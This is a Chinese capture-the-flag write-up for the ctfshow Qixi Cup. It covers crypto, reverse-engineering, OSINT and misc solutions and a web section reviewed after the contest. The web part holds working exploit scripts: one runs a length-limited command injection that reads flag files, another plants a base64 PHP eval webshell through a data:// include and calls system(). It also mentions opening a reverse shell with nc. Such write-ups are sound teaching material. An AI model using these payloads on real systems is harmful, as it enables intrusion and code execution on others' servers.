【CTFSHOW七夕杯】write up及复盘

前言

8月4号的比赛,最后第14名就懒得写wp,所以拖到现在来补一个。

WRITE UP

CRYPTO

密码签到

题目给了密文为:

1
y3rmc2hvd3tjcnlwdg9fc2lnbmlux2lzx2vhc3l9-a0004008a0

前面部分是base64,但是都变成了小写,因此后面那一串就是关键。把后面那一串给转化成二进制,得到1010000000000000010000000000100010100000

然后对应起来,1部分大写,0部分小写,得到正确的base64即可:

1
2
3
Y3Rmc2hvd3tjcnlwdG9fc2lnbmluX2lzX2Vhc3l9
↓base64
ctfshow{crypto_signin_is_easy}

REVERSE

逆向签到

ida分析,发现这么一堆东西:

直接把那三串十六进制转ascii,最后补上},然后颠倒字符串就是flag。

flag:ctfshow{re_sign_is_easy_}

easy_magic

ida分析,字符串锁定函数:

然后s2一眼md5,直接用somd5解就出来了,直接被我非预期了:

预期解的话参考官方wp:

1
2
3
4
5
1. 输入的char类型,和0x77进行异或得到v5
2. 循环22次,给v10赋值,每次为v5+v7[循环计次值]
3. 得到v10,传入s1进行md5加密
4. 比对s1和s2的值
我们只需要重写上面的C代码,v4加偏移之前,再次异或0x77即可

OSINT

社工签到

直接百度识图,第一个进去:
再游三亚|解锁小众旅行地的惊喜与魅力

得知这个镇子的名字叫天涯镇,根据提示答案为天涯小镇。

迷失的大象

同样百度识图,找到这个链接:
云南15只野象“旅行团”进入昆明!酗酒、迷路的背后,我看到最心酸的一幕

文章中有这样一段话:

1
这是因为有2只野象因偷吃烤酒醉倒在当地,脱离了大部队后,结伴返回普洱墨江,剩下15只野象则继续一路向北。

锁定返回的地方是普洱墨江,因此搜索全名,答案为墨江哈尼族自治县。

大飞机

还是百度识图,直接进贴吧,找到Mr_皓月当空发的一个楼,下面有航班号。结合飞机尾部logo看出型号,因此答案为CA981。

MISC

杂项签到

图片下载打开hex,文件尾部就有flag:

你会lsb吗

下载压缩包,发现hex倒了,写脚本逆一下
Exp:

1
2
3
4
5
6
7
input = open('zip.zip','rb')
input_all = input.read()
ss = input_all[::-1]
output = open('zip1.zip','wb')
output.write(ss)
input.close
output.close

出来一张图片,hex中发现最后存在ctfshow字符串,那么这里就和ciscn初赛那题一样,用cloacked-pixel提取lsb信息。

提取出来发现是一堆emoji,base100不对猜测是emoji-aes,调整偏移值为2,密钥ctfshow拿到flag:

真·签到·不太一样的拼图

下载进去是一个太极视频,但是以15帧为一组被打乱了,我直接手动pr剪辑拼图了,摁拿下了flag

flag:ctfshow{a6d04cb119e6f8a4721f9bc3c56a5a0fd76be8e4_by_lovely_fox}

赛后复盘

MISC

海盗的密码

其实压缩包密码就是索马里的一个ip,然后爆破,我爆了三十几个段没爆出来就不想爆了,结果正确答案就在我没爆破的剩下几个段里,麻了。

WEB

由于当时做题时web环境炸了,所以后面也没怎么看web,直接赛后来复盘了。

web签到

看到是一个命令执行,但是根据说明应该有字符限制,看一下js:

1
2
3
4
5
function isSafe(cmd)
{

return cmd.length<=7;
}

7长度命令执行,之前ctfshow群主的知识分享也有介绍过这个,所以我们直接用那个脚本就行了。原理的话就是写入文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://ee349faa-9c0c-4397-8998-6e8c21d4c46c.challenge.ctf.show/"

def getFlag():
file={
"file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt"
}

data={
"cmd":". /t*/*"
}
response = requests.post(url=url+"api/tools.php",files=file,data=data)
response = requests.get(url=url+"1.txt")
if response.status_code == 200:
print(response.text)
else:
print("failed")

if __name__ == '__main__':
getFlag()

easy_calc

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

if(check($code)){
eval('$result='."$code".";");
echo($result);
}

function check(&$code){

$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];

if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}

if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}

if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}

看到这个eval就想到是运用我们可控的三个变量进行拼接,但是括号被过滤掉了,因此只能考虑到没有用到括号的函数。

这里可以使用include配合为伪协议进行,data伪协议payload:

1
include "data://text/plain,<?php phpinfo();?>"

由于<(被过滤,因此使用base64形式:

1
include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"

我们发现可以把payload拆成三部分进行rce,因此最后的payload如下:

1
2
"num1":'include "data:ctfshow',
"symbol":"/", "num2":'b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";'

官方wp一把嗦exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

__AUTHOR__ = "h1xa"


url = "http://edc2a67e-f932-409d-bd93-8aed632582fa.challenge.ctf.show/"

def getFlag():
data={
"num1":'include "data:ctfshow',
"symbol":"/",
"num2":'b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";'
}

response = requests.post(url=url+"?1=system('cat /secret');die();",data=data)
print(response.text)

if __name__ == '__main__':
getFlag()

easy_cmd

查看源码:

1
2
3
4
5
6
7
8
9
10
11
<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
exec(escapeshellcmd($cmd));
}
?>

只能使用四个命令,但是发现有nc,可以直接出网反弹shell。